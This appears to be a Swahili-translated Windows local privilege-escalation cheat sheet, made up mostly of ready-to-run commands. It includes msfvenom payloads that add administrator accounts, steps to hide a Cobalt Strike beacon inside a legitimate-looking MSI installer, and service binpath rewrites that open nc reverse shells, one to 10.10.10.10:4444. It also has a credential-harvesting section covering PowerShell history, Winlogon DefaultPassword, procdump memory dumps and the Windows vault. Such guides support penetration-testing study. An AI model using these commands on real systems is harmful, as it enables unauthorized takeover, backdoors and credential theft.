Kuna mambo tofauti katika Windows ambayo yanaweza kukuzuia kuhesabu mfumo, kuendesha executable au hata kubaini shughuli zako. Unapaswa kusoma ukurasa ufuatao na kuhesabu mifumo hii yote ya ulinzi kabla ya kuanza kuhesabu kupanda kwa haki:

Windows Security Controls

System Info

Version info enumeration

Angalia ikiwa toleo la Windows lina udhaifu wowote unaojulikana (angalia pia patches zilizotumika).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.

On the system

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
watson
winpeas (Winpeas has watson embedded)

Locally with system information

Github repos of exploits:

Environment

Je, kuna taarifa yoyote ya akiba/juicy iliyohifadhiwa katika mabadiliko ya mazingira?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historia ya PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Faili za PowerShell Transcript

Unaweza kujifunza jinsi ya kuwasha hii katika https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, ikiwa ni pamoja na amri zilizotekelezwa, mwito wa amri, na sehemu za scripts. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.

Ili kuwezesha hili, fuata maelekezo katika sehemu ya "Transcript files" ya hati, ukichagua "Module Logging" badala ya "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Ili kuona matukio 15 ya mwisho kutoka kwa kumbukumbu za PowersShell unaweza kutekeleza:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Rekodi kamili ya shughuli na maudhui yote ya utekelezaji wa script inanakiliwa, kuhakikisha kwamba kila block ya msimbo inarekodiwa inavyotekelezwa. Mchakato huu unahifadhi njia kamili ya ukaguzi wa kila shughuli, muhimu kwa uchunguzi na kuchambua tabia mbaya. Kwa kurekodi shughuli zote wakati wa utekelezaji, ufahamu wa kina kuhusu mchakato unapatikana.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Logging events for the Script Block can be located within the Windows Event Viewer at the path: Application and Services Logs > Microsoft > Windows > PowerShell > Operational. Ili kuona matukio 20 ya mwisho unaweza kutumia:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Mipangilio ya Mtandao

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Unaweza kuathiri mfumo ikiwa masasisho hayajatolewa kwa kutumia httpS bali http.

Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo ya SSL kwa kukimbia yafuatayo:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Ikiwa unapata jibu kama:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Na ikiwa HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ni sawa na 1.

Basi, inaweza kutumika. Ikiwa rejista ya mwisho ni sawa na 0, basi, kipengele cha WSUS kitaachwa.

Ili kutumia udhaifu huu unaweza kutumia zana kama: Wsuxploit, pyWSUS - Hizi ni silaha za MiTM zilizofanywa kuwa hatari za kuingiza 'sasisho' za uongo katika trafiki ya WSUS isiyo na SSL.

Soma utafiti hapa:

517KB

CTX_WSUSpect_White_Paper (1).pdf

pdf

WSUS CVE-2020-1013

Soma ripoti kamili hapa. Kimsingi, hii ndiyo kasoro ambayo hitilafu hii inatumia:

Ikiwa tuna uwezo wa kubadilisha proxy yetu ya mtumiaji wa ndani, na Windows Updates inatumia proxy iliyowekwa katika mipangilio ya Internet Explorer, basi tuna uwezo wa kuendesha PyWSUS ndani ili kukamata trafiki yetu wenyewe na kuendesha msimbo kama mtumiaji aliye na mamlaka kwenye mali yetu.
Zaidi ya hayo, kwa kuwa huduma ya WSUS inatumia mipangilio ya mtumiaji wa sasa, pia itatumia duka lake la vyeti. Ikiwa tutaunda cheti kilichojisaini kwa jina la mwenyeji wa WSUS na kuongeza cheti hiki kwenye duka la vyeti la mtumiaji wa sasa, tutakuwa na uwezo wa kukamata trafiki ya WSUS ya HTTP na HTTPS. WSUS haitumii mitindo kama HSTS kutekeleza uthibitisho wa aina ya kuaminiwa kwa matumizi ya kwanza kwenye cheti. Ikiwa cheti kilichowasilishwa kinatambuliwa na mtumiaji na kina jina sahihi la mwenyeji, kitakubaliwa na huduma.

Unaweza kutumia udhaifu huu kwa kutumia zana WSUSpicious (mara tu itakapokuwa huru).

KrbRelayUp

Udhaifu wa kuinua mamlaka ya ndani upo katika mazingira ya domeni ya Windows chini ya hali maalum. Hali hizi zinajumuisha mazingira ambapo saini ya LDAP haitekelezwi, watumiaji wana haki za kujitenga zinazowawezesha kuunda Uwakilishi wa Rasilimali ulio na Mipaka (RBCD), na uwezo wa watumiaji kuunda kompyuta ndani ya domeni. Ni muhimu kutambua kuwa masharti haya yanakidhiwa kwa kutumia mipangilio ya kawaida.

Pata udhaifu katika https://github.com/Dec0ne/KrbRelayUp

Kwa maelezo zaidi kuhusu mtiririko wa shambulio angalia https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Ikiwa hizi 2 za rejista zime wezeshwa (thamani ni 0x1), basi watumiaji wa mamlaka yoyote wanaweza kusanidi (kutekeleza) *.msi faili kama NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Ikiwa una kikao cha meterpreter unaweza kujiendesha kiotomatiki mbinu hii ukitumia moduli exploit/windows/local/always_install_elevated

PowerUP

Tumia amri Write-UserAddMSI kutoka power-up kuunda ndani ya saraka ya sasa faili la MSI la Windows ili kupandisha mamlaka. Skripti hii inaandika msanidi wa MSI ulioandaliwa awali ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Soma hii tutorial ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya ".bat" ikiwa unataka tu kutekeleza mistari ya amri.

MSI Wrapper

Create MSI with WIX

Create MSI with Visual Studio

Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
Fungua Visual Studio, chagua Create a new project na andika "installer" kwenye kisanduku cha utafutaji. Chagua mradi wa Setup Wizard na bonyeza Next.
Toa mradi jina, kama AlwaysPrivesc, tumia C:\privesc kwa eneo, chagua weka suluhisho na mradi katika saraka moja, na bonyeza Create.
Endelea kubonyeza Next hadi ufikie hatua ya 3 ya 4 (chagua faili za kujumuisha). Bonyeza Add na chagua payload ya Beacon uliyotengeneza. Kisha bonyeza Finish.
Taja mradi wa AlwaysPrivesc katika Solution Explorer na katika Properties, badilisha TargetPlatform kutoka x86 hadi x64.
Kuna mali nyingine unaweza kubadilisha, kama Author na Manufacturer ambazo zinaweza kufanya programu iliyosakinishwa ionekane halali zaidi.
Bonyeza-kulia mradi na chagua View > Custom Actions.
Bonyeza-kulia Install na chagua Add Custom Action.
Bonyeza mara mbili kwenye Application Folder, chagua faili yako ya beacon.exe na bonyeza OK. Hii itahakikisha kwamba payload ya beacon inatekelezwa mara tu installer inapotekelezwa.
Chini ya Custom Action Properties, badilisha Run64Bit kuwa True.
Hatimaye, build it.
Ikiwa onyo File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' linaonyeshwa, hakikisha umeweka jukwaa kuwa x64.

MSI Installation

Ili kutekeleza installation ya faili ya uharibifu .msi katika background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Ili kutumia udhaifu huu unaweza kutumia: exploit/windows/local/always_install_elevated

Antivirus na Vifaa vya Kugundua

Mipangilio ya Ukaguzi

Mipangilio hii inaamua nini kinachorekodiwa, hivyo unapaswa kulipa kipaumbele

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, ni muhimu kujua wapi kumbukumbu zinatumwa

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS imeundwa kwa ajili ya usimamizi wa nywila za Msimamizi wa ndani, kuhakikisha kwamba kila nywila ni ya kipekee, iliyopangwa kwa nasibu, na inasasishwa mara kwa mara kwenye kompyuta zilizounganishwa kwenye eneo. Nywila hizi zinahifadhiwa kwa usalama ndani ya Active Directory na zinaweza kufikiwa tu na watumiaji ambao wamepewa ruhusa ya kutosha kupitia ACLs, kuwapa uwezo wa kuona nywila za msimamizi wa ndani ikiwa wameidhinishwa.

LAPS

WDigest

Ikiwa inafanya kazi, nywila za maandiko wazi zinahifadhiwa katika LSASS (Huduma ya Mfumo wa Mamlaka ya Usalama wa Ndani). Maelezo zaidi kuhusu WDigest kwenye ukurasa huu.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Kuanza na Windows 8.1, Microsoft ilianzisha ulinzi ulioimarishwa kwa Mamlaka ya Usalama wa Mitaa (LSA) ili kuzuia juhudi za michakato isiyoaminika kusoma kumbukumbu yake au kuingiza msimbo, ikilinda zaidi mfumo. Taarifa zaidi kuhusu Ulinzi wa LSA hapa.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard ilianzishwa katika Windows 10. Kusudi lake ni kulinda akiba za taarifa za kuingia zilizohifadhiwa kwenye kifaa dhidi ya vitisho kama vile mashambulizi ya pass-the-hash.| Maelezo zaidi kuhusu Credentials Guard hapa.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Akreditif za kikoa zinathibitishwa na Mamlaka ya Usalama wa Mitaa (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, akreditif za kikoa kwa mtumiaji kawaida huanzishwa. More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Watumiaji & Vikundi

Tambua Watumiaji & Vikundi

Unapaswa kuangalia kama kuna vikundi ambavyo unavyohusishwa navyo vina ruhusa za kuvutia

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

Ikiwa wewe ni mwanachama wa kundi lolote lenye mamlaka unaweza kuwa na uwezo wa kupandisha mamlaka. Jifunze kuhusu makundi yenye mamlaka na jinsi ya kuyatumia vibaya ili kupandisha mamlaka hapa:

Privileged Groups

Token manipulation

Jifunze zaidi kuhusu nini ni token katika ukurasa huu: Windows Tokens. Angalia ukurasa ufuatao ili ujifunze kuhusu token za kuvutia na jinsi ya kuzitumia vibaya:

Abusing Tokens

Logged users / Sessions

qwinsta
klist sessions

Nyumba za folda

dir C:\Users
Get-ChildItem C:\Users

Sera ya Nywila

net accounts

Pata maudhui ya clipboard

powershell -command "Get-Clipboard"

Running Processes

File and Folder Permissions

Kwanza kabisa, orodhesha michakato angalia nywila ndani ya mstari wa amri wa mchakato. Angalia kama unaweza kufuta baadhi ya binary inayotembea au ikiwa una ruhusa za kuandika kwenye folda ya binary ili kutumia uwezekano wa DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Daima angalia uwezekano wa electron/cef/chromium debuggers zinazoendesha, unaweza kuzitumia kuboresha mamlaka.

Kuangalia ruhusa za binaries za michakato

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Kuangalia ruhusa za folda za binaries za michakato (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Unaweza kuunda dump ya kumbukumbu ya mchakato unaoendesha kwa kutumia procdump kutoka sysinternals. Huduma kama FTP zina akili wazi katika kumbukumbu, jaribu kutupa kumbukumbu na kusoma akili hizo.

procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

Programu zinazotumia SYSTEM zinaweza kumruhusu mtumiaji kuzindua CMD, au kuvinjari saraka.

Mfano: "Windows Help and Support" (Windows + F1), tafuta "command prompt", bonyeza "Click to open Command Prompt"

Services

Pata orodha ya huduma:

net start
wmic service list brief
sc query
Get-Service

Permissions

Unaweza kutumia sc kupata taarifa ya huduma

sc qc <service_name>

Inashauriwa kuwa na binary accesschk kutoka Sysinternals ili kuangalia kiwango cha ruhusa kinachohitajika kwa kila huduma.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Inashauriwa kuangalia kama "Authenticated Users" wanaweza kubadilisha huduma yoyote:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Unaweza kupakua accesschk.exe kwa XP hapa

Wezesha huduma

Ikiwa unapata kosa hili (kwa mfano na SSDPSRV):

Kosa la mfumo 1058 limetokea. Huduma haiwezi kuanzishwa, ama kwa sababu imezimwa au kwa sababu haina vifaa vilivyowezeshwa vinavyohusishwa nayo.

Unaweza kuifanya iweze kutumia

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Kumbuka kwamba huduma ya upnphost inategemea SSDPSRV ili kufanya kazi (kwa XP SP1)

Njia nyingine ya kutatua tatizo hili ni kukimbia:

sc.exe config usosvc start= auto

Badilisha njia ya huduma ya binary

Katika hali ambapo kundi la "Watumiaji walioidhinishwa" lina SERVICE_ALL_ACCESS kwenye huduma, mabadiliko ya binary ya executable ya huduma yanawezekana. Ili kubadilisha na kutekeleza sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Anzisha huduma tena

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Privileges zinaweza kupandishwa kupitia ruhusa mbalimbali:

SERVICE_CHANGE_CONFIG: Inaruhusu kubadilisha usanidi wa huduma.
WRITE_DAC: Inaruhusu kubadilisha ruhusa, ikisababisha uwezo wa kubadilisha usanidi wa huduma.
WRITE_OWNER: Inaruhusu kupata umiliki na kubadilisha ruhusa.
GENERIC_WRITE: Inarithi uwezo wa kubadilisha usanidi wa huduma.
GENERIC_ALL: Pia inarithi uwezo wa kubadilisha usanidi wa huduma.

Kwa ajili ya kugundua na kutumia udhaifu huu, exploit/windows/local/service_permissions inaweza kutumika.

Huduma binaries ruhusa dhaifu

Angalia kama unaweza kubadilisha binary inayotekelezwa na huduma au kama una ruhusa za kuandika kwenye folda ambapo binary inapatikana (DLL Hijacking). Unaweza kupata kila binary inayotekelezwa na huduma kwa kutumia wmic (sio katika system32) na kuangalia ruhusa zako kwa kutumia icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Unaweza pia kutumia sc na icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

Unapaswa kuangalia kama unaweza kubadilisha usajili wa huduma yoyote. Unaweza kuangalia idhini zako juu ya usajili wa huduma kwa kufanya:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Inapaswa kuangaliwa ikiwa Authenticated Users au NT AUTHORITY\INTERACTIVE wana FullControl ruhusa. Ikiwa ndivyo, faili ya binary inayotekelezwa na huduma inaweza kubadilishwa.

Ili kubadilisha Njia ya faili ya binary inayotekelezwa:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Huduma za rejista Ruhusa za AppendData/AddSubdirectory

Ikiwa una ruhusa hii juu ya rejista hii inamaanisha unaweza kuunda rejista ndogo kutoka hii. Katika kesi ya huduma za Windows hii ni ya kutosha kutekeleza msimbo wowote:

AppendData/AddSubdirectory permission over service registry

Njia za Huduma zisizo na Nukuu

Ikiwa njia ya executable haiko ndani ya nukuu, Windows itajaribu kutekeleza kila kitu kinachomalizika kabla ya nafasi.

Kwa mfano, kwa njia C:\Program Files\Some Folder\Service.exe Windows itajaribu kutekeleza:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Orodha ya njia za huduma zisizo na nukuu, ukiondoa zile zinazomilikiwa na huduma za Windows zilizojengwa:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Unaweza kugundua na kutumia udhaifu huu kwa kutumia metasploit: exploit/windows/local/trusted\_service\_path Unaweza kuunda binary ya huduma kwa mikono kwa kutumia metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Hatua za Kuokoa

Windows inaruhusu watumiaji kubaini hatua zitakazochukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio ili kiashirie faili la binary. Ikiwa faili hili la binary linaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika nyaraka rasmi.

Maombi

Maombi Yaliyosakinishwa

Angalia idhini za binaries (labda unaweza kuandika upya moja na kupandisha hadhi) na za maktaba (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Write Permissions

Angalia ikiwa unaweza kubadilisha faili fulani ya usanidi ili kusoma faili maalum au ikiwa unaweza kubadilisha faili fulani ambayo itatekelezwa na akaunti ya Msimamizi (schedtasks).

Njia moja ya kupata ruhusa dhaifu za folda/faili katika mfumo ni kufanya:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Run at startup

Angalia kama unaweza kubadilisha baadhi ya rejista au binary ambayo itatekelezwa na mtumiaji tofauti. Soma ukurasa ufuatao kujifunza zaidi kuhusu maeneo ya autoruns ya kuvutia ili kupandisha mamlaka:

Privilege Escalation with Autoruns

Drivers

Tafuta madereva ya tatu ya ajabu/yenye udhaifu.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Ikiwa una idhini za kuandika ndani ya folda iliyopo kwenye PATH unaweza kuwa na uwezo wa kuhamasisha DLL inayopakiwa na mchakato na kuinua mamlaka.

Angalia idhini za folda zote ndani ya PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Kwa maelezo zaidi kuhusu jinsi ya kutumia ukaguzi huu:

Writable Sys Path +Dll Hijacking Privesc

Mtandao

Kushiriki

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Angalia kwa kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili ya hosts

type C:\Windows\System32\drivers\etc\hosts

Interfaces za Mtandao & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

Angalia kwa huduma zilizozuiliwa kutoka nje

netstat -ano #Opened ports?

Jedwali la Mwelekeo

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Meza ya ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Angalia ukurasa huu kwa amri zinazohusiana na Firewall (orodhesha sheria, tengeneza sheria, zima, zima...)

Zaidi ya amri za kuhesabu mtandao hapa

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe pia inaweza kupatikana katika C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Ikiwa unapata mtumiaji wa root unaweza kusikiliza kwenye bandari yoyote (wakati wa kwanza unapotumia nc.exe kusikiliza kwenye bandari itakuuliza kupitia GUI ikiwa nc inapaswa kuruhusiwa na firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Ili kuanza bash kama root kwa urahisi, unaweza kujaribu --default-user root

Unaweza kuchunguza mfumo wa faili wa WSL katika folda C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Akida za Windows

Akida za Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault Windows Vault inahifadhi akauti za mtumiaji kwa seva, tovuti na programu nyingine ambazo Windows inaweza kuingia kwa watumiaji kiotomatiki. Katika hali ya kwanza, hii inaweza kuonekana kama sasa watumiaji wanaweza kuhifadhi akauti zao za Facebook, akauti za Twitter, akauti za Gmail n.k., ili waingie kiotomatiki kupitia vivinjari. Lakini si hivyo.

Windows Vault inahifadhi akauti ambazo Windows inaweza kuingia kwa watumiaji kiotomatiki, ambayo ina maana kwamba programu yoyote ya Windows inayohitaji akauti ili kufikia rasilimali (seva au tovuti) inaweza kutumia Credential Manager & Windows Vault na kutumia akauti zilizotolewa badala ya watumiaji kuingiza jina la mtumiaji na nenosiri kila wakati.

Ili programu ziweze kuingiliana na Credential Manager, sidhani kama inawezekana kwao kutumia akauti za rasilimali fulani. Hivyo, ikiwa programu yako inataka kutumia vault, inapaswa kwa namna fulani kuwasiliana na meneja wa akauti na kuomba akauti za rasilimali hiyo kutoka kwenye vault ya uhifadhi ya default.

Tumia cmdkey kuorodhesha akauti zilizohifadhiwa kwenye mashine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

